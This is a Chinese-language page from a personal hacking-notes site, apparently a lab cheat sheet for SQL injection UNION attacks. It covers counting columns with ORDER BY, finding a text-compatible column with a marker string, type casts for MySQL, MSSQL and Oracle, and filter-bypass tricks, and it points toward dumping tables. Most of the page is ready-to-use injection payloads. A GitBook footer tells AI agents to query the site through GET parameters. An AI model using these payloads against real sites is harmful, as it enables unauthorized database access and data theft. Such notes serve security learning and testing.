> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-find-a-text-compatible-column.md).

# 通过 UNION 攻击查找兼容文本的列

### SQL 注入 UNION 攻击，查找包含文本的列

**目标：** 插入一个 `UNION` 包含测试值的行（`PjNkGQ`) 以确定哪个列接受字符串，然后提取文本数据。

#### (1) 确认列数（如果尚未知晓）

* 测试使用 `ORDER BY` 递增：

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

当 `ORDER BY N` 导致错误，则列数为 `< N`.

#### (2) 注入一条 `UNION` 包含给定值的行

* 示例： **3 列**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

— 如果结果显示 `PjNkGQ`，则 **第 2 列** 与文本兼容。

#### (3) 定位可见列的变体

* 在每个位置测试该常量：

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* 使用不同常量来映射可见列：

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### (4) 处理类型错误

* 如果 `UNION` 因类型不兼容而失败时，使用 `NULL` 对于非文本列，或根据 GBD 对常量进行类型转换：
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* 如果某些列需要数值类型，则保留 `NULL` 这些列留空，只在候选列中放入文本。

#### (5) 如果 WAF / 过滤器阻止 `UNION`

* 变换注释/空格： `-- -`, `--`, `/*... */`.
* 通过函数构建链条（例如 `CONCAT('P','jNkGQ')`) 以绕过严格规范化。

#### (6) 预期结果

* 结果包含 `PjNkGQ` → 已识别出文本列。然后据此构建 `UNION SELECT` 用于枚举（表/列/转储）。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-find-a-text-compatible-column.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.